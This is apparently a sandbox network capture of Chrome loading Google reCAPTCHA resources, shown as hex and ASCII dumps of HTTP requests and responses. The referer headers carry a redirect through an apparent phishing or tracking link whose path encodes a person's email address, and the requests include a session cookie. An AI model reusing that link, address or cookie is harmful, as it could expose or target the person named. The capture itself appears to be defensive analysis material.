appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49712	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:35 UTC	1116	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:35 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 15 Mar 2024 12:57:35 GMT Date: Fri, 15 Mar 2024 12:57:35 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:35 UTC	724	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-03-15 12:57:35 UTC	505	IN	Data Raw: 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 37 6e 36 76 67 6f 6d 41 36 57 70 44 30 55 Data Ascii: mV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-7n6vgomA6WpD0U
2024-03-15 12:57:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49715	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:37 UTC	1723	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:37 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:57:37 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-NJ6c-Dkpo_GRZKzdPkZRgQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:37 UTC	361	IN	Data Raw: 32 61 62 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2ab5<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 Data Ascii: o/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//f
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 Data Ascii: 9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329,
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 30 2d 30 34 39 31 2c 20 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a Data Ascii: 0-0491, U+04B0-04B1, U+2116;}/* greek-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c Data Ascii: */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA,
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b Data Ascii: l(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal;
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4e 4a 36 63 2d 44 6b 70 6f 5f 47 52 5a 4b 7a 64 50 6b 5a 52 67 51 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 Data Ascii: U+FEFF, U+FFFD;}</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/styles__ltr.css"><script nonce="NJ6c-Dkpo_GRZKzdPkZRgQ" type="text/javascript">window['__recaptcha_api'] = 'http
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 67 71 46 4a 53 4d 6f 37 61 33 73 42 73 46 58 70 6d 36 58 48 47 38 34 32 76 35 63 6b 37 46 73 57 77 38 68 70 6e 2d 48 76 4b 71 5f 30 5f 55 6a 4f 51 52 4d 5a 36 4c 6d 6d 59 68 73 34 79 4c 71 66 72 57 37 54 6f 67 5f 6c 6e 38 5f 41 4c 4b 63 33 69 32 38 39 72 44 48 35 41 37 6f 77 30 6b 50 6f 78 6a 73 57 69 56 59 7a 73 4c 54 68 36 77 6a 79 5f 4b 54 7a 75 31 6a 33 74 6e 35 33 33 72 73 73 59 6c 4a 71 33 73 42 37 47 55 4d 50 66 6d 68 69 77 45 31 31 6b 71 4e 66 59 6c 6f 35 6f 42 76 6a 52 38 32 76 49 4d 4c 44 4b 7a 37 66 54 79 44 42 6b 44 5a 6f 75 76 5f 36 59 37 7a 71 31 75 46 6a 6b 4d 4b 6a 34 72 6c 62 4c 77 43 65 58 68 48 4c 44 56 53 46 57 6c 59 69 62 33 49 32 75 59 49 63 31 76 73 35 38 77 42 67 64 43 63 4d 4c 51 69 46 4f 66 70 45 48 2d 6e 70 37 38 56 4f 44 66 64 Data Ascii: gqFJSMo7a3sBsFXpm6XHG842v5ck7FsWw8hpn-HvKq_0_UjOQRMZ6LmmYhs4yLqfrW7Tog_ln8_ALKc3i289rDH5A7ow0kPoxjsWiVYzsLTh6wjy_KTzu1j3tn533rssYlJq3sB7GUMPfmhiwE11kqNfYlo5oBvjR82vIMLDKz7fTyDBkDZouv_6Y7zq1uFjkMKj4rlbLwCeXhHLDVSFWlYib3I2uYIc1vs58wBgdCcMLQiFOfpEH-np78VODfd
2024-03-15 12:57:37 UTC	1252	IN	Data Raw: 69 76 2d 32 58 52 46 52 6c 4e 65 48 57 4f 36 65 5f 69 73 65 6d 5a 7a 72 61 54 6c 4a 47 75 77 68 39 50 43 75 53 34 4c 30 31 73 69 54 78 69 32 59 5f 4d 62 38 33 61 56 53 38 35 48 5f 51 78 4e 72 47 4d 5f 53 46 77 56 53 75 43 4e 35 42 58 77 5f 31 70 74 6c 39 50 6d 77 42 63 6e 71 6d 68 72 58 72 76 4c 62 36 36 64 76 42 30 48 38 5f 70 57 54 54 6b 30 4b 39 31 74 38 6a 30 6c 46 68 71 45 4c 38 32 51 32 7a 61 6f 56 32 7a 62 35 74 45 73 42 51 36 78 49 4d 4c 56 74 77 34 33 49 30 4e 65 76 47 42 76 52 33 52 4a 78 48 63 30 63 65 61 7a 61 69 76 46 5a 6b 77 41 48 53 71 78 61 31 56 70 44 61 34 4e 57 4c 70 4f 39 4b 57 53 30 4c 70 34 75 46 5a 49 30 51 70 41 31 44 4f 4c 57 5a 39 75 43 71 4e 31 4f 35 78 6a 49 39 52 36 44 67 75 67 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d Data Ascii: iv-2XRFRlNeHWO6e_isemZzraTlJGuwh9PCuS4L01siTxi2Y_Mb83aVS85H_QxNrGM_SFwVSuCN5BXw_1ptl9PmwBcnqmhrXrvLb66dvB0H8_pWTTk0K91t8j0lFhqEL82Q2zaoV2zb5tEsBQ6xIMLVtw43I0NevGBvR3RJxHc0ceazaivFZkwAHSqxa1VpDa4NWLpO9KWS0Lp4uFZI0QpA1DOLWZ9uCqN1O5xjI9R6Dgug"><script type=
2024-03-15 12:57:37 UTC	564	IN	Data Raw: 49 56 58 67 34 53 6c 4e 4e 59 6b 4e 45 63 6c 4d 78 54 6e 4a 61 5a 47 68 48 4b 7a 68 4a 5a 48 6f 72 56 43 39 50 65 6c 41 78 52 32 64 70 4d 45 39 79 4e 57 52 76 62 6b 70 42 4d 55 31 79 55 55 4a 69 4c 31 6c 47 4c 79 39 45 65 6c 6c 68 64 46 49 30 4f 56 56 6f 62 46 70 76 53 6a 46 34 61 7a 56 77 61 57 4a 51 64 30 4a 77 62 7a 56 31 52 33 52 56 52 6d 5a 46 52 6b 73 76 59 57 70 5a 55 55 45 33 64 30 6c 53 64 57 46 46 55 46 68 49 65 6b 68 57 56 44 46 58 51 7a 4a 4b 53 54 68 70 57 6d 77 7a 62 58 4a 76 52 30 5a 32 4d 47 4a 33 4e 32 35 49 52 55 68 5a 63 47 4e 77 63 58 46 70 5a 32 49 78 63 32 46 30 62 33 52 34 53 47 6f 77 63 6a 64 52 51 56 4e 6d 4e 31 70 46 63 6d 56 55 64 6d 78 32 56 6d 63 78 56 58 4a 78 65 55 52 79 4d 48 70 45 57 55 68 73 62 57 35 50 53 47 6c 45 56 58 Data Ascii: IVXg4SlNNYkNEclMxTnJaZGhHKzhJZHorVC9PelAxR2dpME9yNWRvbkpBMU1yUUJiL1lGLy9EellhdFI0OVVobFpvSjF4azVwaWJQd0JwbzV1R3RVRmZFRksvYWpZUUE3d0lSdWFFUFhIekhWVDFXQzJKSThpWmwzbXJvR0Z2MGJ3N25IRUhZcGNwcXFpZ2Ixc2F0b3R4SGowcjdRQVNmN1pFcmVUdmx2VmcxVXJxeURyMHpEWUhsbW5PSGlEVX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49719	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:38 UTC	1379	OUT	GET /js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&s=71_GyNisCrzVl5tMGlh4uwt-iGo8dD_dRqzNJECxMJzp6EooJwD2Niqp9UV_FVrYCxUQdeZ-5PnBGu1eKs7OwhWy0Ry2-wLV7LD6ocK5f1v982B1O4Y9_lrqyGbPdTvv3FHWr5CeFfavu0HI3J7rzOyEPTPyUtVQoGM8ppfd7ty-no9y4WbN1Z-6VqqVvLkmLerrzPnGFc6dBn1CAeYxCzUO0WCnYHdBq257V81dzsTex7CSMUiYYGjol031t2GoT-WWpQfje22HavvHeltY0wQUIUECToo&cb=pgetjf101dfd Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:38 UTC	810	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 17874 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Mar 2024 12:05:12 GMT Expires: Sat, 15 Mar 2025 12:05:12 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 04 Mar 2024 15:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 3146 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
